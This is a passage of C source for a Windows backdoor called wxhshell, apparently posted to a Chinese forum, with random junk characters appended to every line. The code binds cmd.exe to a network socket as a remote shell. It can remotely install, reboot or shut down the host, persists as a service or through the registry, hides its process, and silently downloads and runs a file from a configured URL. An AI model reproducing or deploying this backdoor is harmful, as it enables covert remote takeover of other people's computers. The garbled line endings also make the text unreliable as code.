      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); q]<xMg#nu  
    break; N dR ]  
  } :#="%  
  // 安装 rOl6lQW  
  case 'i': { V!|e#}1 /  
    if(Install()) ]UNZd/hIL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aW{L7N%  
    else gs`^~iD]m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ff"gadRXd  
    break; FWPW/oC  
    } <>4!XPo%J  
  // 卸载 "S(X[Y'  
  case 'r': { Ly (P=M>"y  
    if(Uninstall()) y7zkAXhJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HdQj?f3  
    else f =_^>>.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \3{3ly~L  
    break; q#1X[A()  
    } /jrY%C  
  // 显示 wxhshell 所在路径 %"7WXOv&z  
  case 'p': { boQ)fV"  
    char svExeFile[MAX_PATH]; R40W'N 1%q  
    strcpy(svExeFile,"\n\r"); 6 S*zzJ.0K  
      strcat(svExeFile,ExeFile); 4DML  
        send(wsh,svExeFile,strlen(svExeFile),0);  *q"G }  
    break; %yw=[]Vjze  
    } ]Ti$ztJ  
  // 重启 1*R_"#  
  case 'b': { J%r7<y\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _O 52ai><b  
    if(Boot(REBOOT)) \|{*arS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z% Z"VoxH  
    else { *98Ti|  
    closesocket(wsh); ??TdrTS  
    ExitThread(0); 4 ?2g&B\  
    } FrR9{YTA .  
    break; RdkU2Y}V  
    } O|(o8 VS  
  // 关机 >40 GP#Vz  
  case 'd': { GEi MmH?  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (6#M9XL  
    if(Boot(SHUTDOWN)) | M _%QM.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O2@" w23  
    else { \6c8z/O7   
    closesocket(wsh); 0Q*-g}wXfS  
    ExitThread(0); F(G<* lA  
    } oYg/*k7EDX  
    break; )T<D6l Lt  
    } vu>YH)N_h  
  // 获取shell %30T{n:  
  case 's': { :D^Y?  
    CmdShell(wsh); 9M0d+:YJ  
    closesocket(wsh); Ahd\TH  
    ExitThread(0); B^Bbso'{1  
    break; \ j x0ZHR  
  } n1JC?+  
  // 退出 $KH@,;Xz  
  case 'x': { :MdEr//w  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^h"n03VFA  
    CloseIt(wsh); )MMhlcNC  
    break; Wu]/(F  
    } xan/ay>  
  // 离开 ]zy~@,\  
  case 'q': { AE]i V{p  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >9(7h&[Y  
    closesocket(wsh); w64.R4e  
    WSACleanup(); u% r!?-z  
    exit(1); L F8Pb;I  
    break; X!2.IsIS8  
        } p9k4w% ~:  
  } y`\mQ48V  
  } kf}F}Ad:%  
u~ Vs wXc4  
  // 提示信息 D l4d'&!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wK2yt?  
} |K'Gw}fX/  
  } 3j]UEA^  
Dl>*L  
  return; 0zlM.rjEZ  
} x:=0.l#  
AB/,S  
// shell模块句柄 782[yLyv  
int CmdShell(SOCKET sock) HKq2Js  
{ %"1` NT  
STARTUPINFO si; `wP/Zp{Hy  
ZeroMemory(&si,sizeof(si)); Q x9>,e6+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Wg}B@:`T  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;"d?_{>7  
PROCESS_INFORMATION ProcessInfo; =)mXCA^  
char cmdline[]="cmd"; ?ZSXoy-kr  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6ctHL<^  
  return 0; ?/o2#iJx  
} K> c8r8!  
%RCl+hOP.h  
// 自身启动模式 J=f:\]@Oy  
int StartFromService(void) {bAWc.  
{ v9j4|w  
typedef struct Oz4,Y+[#  
{ mB{&7Rb0  
  DWORD ExitStatus; W\ 1bE(AwZ  
  DWORD PebBaseAddress; 3i@ "D  
  DWORD AffinityMask; FgFJ0fo  
  DWORD BasePriority; ]Ssw32yn  
  ULONG UniqueProcessId; ,7n;|1`  
  ULONG InheritedFromUniqueProcessId; 4yJ*85e]  
}   PROCESS_BASIC_INFORMATION; h"RP>fZt  
E<X{72fb>  
PROCNTQSIP NtQueryInformationProcess; IGh !d?D  
7G<KrKal  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (<d&BV-"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  #{)r*"%  
Z1)jRE2dl  
  HANDLE             hProcess; F #!@}K8  
  PROCESS_BASIC_INFORMATION pbi; .N zW@|  
 c{f:5 p  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); o+"0.B  
  if(NULL == hInst ) return 0; `wn<3#  
6)uPM"cO  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); g~ppPAH  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?[hy|r6$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); tpNtoqg_$  
!yV,|)y5F  
  if (!NtQueryInformationProcess) return 0; (^s&M  
/A[oj2un  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !ho5VA t  
  if(!hProcess) return 0; -A-hxK*^  
m! '1$G  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; l~Ie#vak  
Z3abem<Q  
  CloseHandle(hProcess); @LW xz  
%0~wtZH_!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); H.l,%x&K  
if(hProcess==NULL) return 0; >^a"Z[s[  
UgD'Bi  
HMODULE hMod; >XXMIz:  
char procName[255]; Rvu3Qo+  
unsigned long cbNeeded; FVC2XxP  
QNa}M{5>h  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |U#w?eE=  
3w<j:\i  
  CloseHandle(hProcess); <igx[2X  
+2au ;^N  
if(strstr(procName,"services")) return 1; // 以服务启动 AHMV@o`V  
A9qO2kq7_  
  return 0; // 注册表启动 J<*Mk  
} 5nq-b@?L  
VEEeQy  
// 主模块 fDHISJv  
int StartWxhshell(LPSTR lpCmdLine) uPv?Hq  
{ $K fk=@  
  SOCKET wsl; qm5pEort  
BOOL val=TRUE; 3A}8?  
  int port=0; G&3<rT3Ib  
  struct sockaddr_in door; Ol[IC  
I_*>EA  
  if(wscfg.ws_autoins) Install(); H=RV M  
QaBXzf   
port=atoi(lpCmdLine); 8J1.(Mwb?  
EoCwS  
if(port<=0) port=wscfg.ws_port; kDa#yN\  
HKw:fGt/o^  
  WSADATA data; R_&z2I  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |?=1tS{iT  
ve^MqW&S  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   S$On$]~\"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); oA@^N4PD  
  door.sin_family = AF_INET; O^% ace1  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); I|;#VejX  
  door.sin_port = htons(port); ,!4_Uc  
Bys|i0tb-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +0 |0X {v  
closesocket(wsl); p<19 Jw<  
return 1; AR3=G>hO,  
} xyz86r ^u  
=ApT#*D)o  
  if(listen(wsl,2) == INVALID_SOCKET) { iUBni&B  
closesocket(wsl); W^Y(FUy~  
return 1; n_meJm.  
} }>U03aa!  
  Wxhshell(wsl); .&.CbE8K[  
  WSACleanup(); x=N;>  
cA2]VL.r>C  
return 0; {HnOUc\4  
X5[sw;rk  
} p~ItHwiT  
/^G+vhlf\  
// 以NT服务方式启动 ]XyJ7esg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =^vUb  
{ t%@ pyK  
DWORD   status = 0; RBwV+X[B  
  DWORD   specificError = 0xfffffff; Njjeg9f  
+8I0.,'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; g\'84:*J\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; pE,BE%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; f}eVfAf  
  serviceStatus.dwWin32ExitCode     = 0; D I[Ee?  
  serviceStatus.dwServiceSpecificExitCode = 0; d*HAKXd&:j  
  serviceStatus.dwCheckPoint       = 0;  t m?  
  serviceStatus.dwWaitHint       = 0; @("AkYPj  
(tN$G:+")F  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8w' 8n  
  if (hServiceStatusHandle==0) return; t+ ]+Gn  
q%Pnx_RB  
status = GetLastError(); N0C5FSH  
  if (status!=NO_ERROR) W9~datIh>  
{ (eP)>G]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $h9!"f[|j  
    serviceStatus.dwCheckPoint       = 0; |0-L08DW  
    serviceStatus.dwWaitHint       = 0; gEu\X|7'  
    serviceStatus.dwWin32ExitCode     = status; 'C<=bUM  
    serviceStatus.dwServiceSpecificExitCode = specificError; [bXZPIz;j  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); vcHDFi  
    return; qFk(UazN  
  } v( B4Bz2  
&IYkeGQr  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /o2eKx  
  serviceStatus.dwCheckPoint       = 0; w?q"%F;/  
  serviceStatus.dwWaitHint       = 0; !k63 `(Ti  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); J:a^''  
} -(EqBr@_  
{w++)N2sh  
// 处理NT服务事件,比如:启动、停止 Wwz{98,K  
VOID WINAPI NTServiceHandler(DWORD fdwControl) edQ><lz  
{ P.Bk-#}$  
switch(fdwControl) _?"J.i  
{ X(\RA.64  
case SERVICE_CONTROL_STOP: 6BnjT  
  serviceStatus.dwWin32ExitCode = 0; bOdD:=f  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; K0]Wb=v  
  serviceStatus.dwCheckPoint   = 0; 3^Y-P8.zdB  
  serviceStatus.dwWaitHint     = 0; mN`a]L'  
  { "x11 YM{F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xjpW<-)MLf  
  } ;Mz]uk  
  return; i]v!o$7  
case SERVICE_CONTROL_PAUSE: "`k[ 4C  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !IS ,[  
  break; >/*\x g&J  
case SERVICE_CONTROL_CONTINUE: ;b^@o,=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7o<RvM  
  break; !FO)||'[  
case SERVICE_CONTROL_INTERROGATE: >Vvc55z  
  break; ;g9+*$Gw  
}; qA30G~S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "'Q:%_;  
} 2+.m44>Ti  
>&R|t_ypw  
// 标准应用程序主函数 ]:;gk&P  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) T1E=<q4  
{ ZD/!C9:&.0  
-[=`bHo  
// 获取操作系统版本 h4/rw fp^  
OsIsNt=GetOsVer(); OQq7|dZu  
GetModuleFileName(NULL,ExeFile,MAX_PATH); aF:I]]TfK~  
M@8(h=  
  // 从命令行安装 Wg[`H=)Q  
  if(strpbrk(lpCmdLine,"iI")) Install(); L4!$bB~L-  
Ah,Zm4:  
  // 下载执行文件 Umqm5*P(  
if(wscfg.ws_downexe) { k`-L5#`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >g?,BK@  
  WinExec(wscfg.ws_filenam,SW_HIDE); +#W5Qb}VR  
} B 5?(gb"  
<ANKoPNie  
if(!OsIsNt) { TzOf&cs/r  
// 如果时win9x,隐藏进程并且设置为注册表启动 ukw'$Yt2  
HideProc(); ()7=(<x{  
StartWxhshell(lpCmdLine); G/y< bPQ  
} qAm%h\  
else Gqs8$[o  
  if(StartFromService()) a}wB7B;,g  
  // 以服务方式启动 xZkLN5I{  
  StartServiceCtrlDispatcher(DispatchTable); sB6UlX;b:  
else ISl'g'o  
  // 普通方式启动 I=1tf;Bsi  
  StartWxhshell(lpCmdLine); xkX, l{6  
Z#F2<*+Pe  
return 0; h\1_$ac  
}
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只看该作者 1 发表于: 2006-10-10
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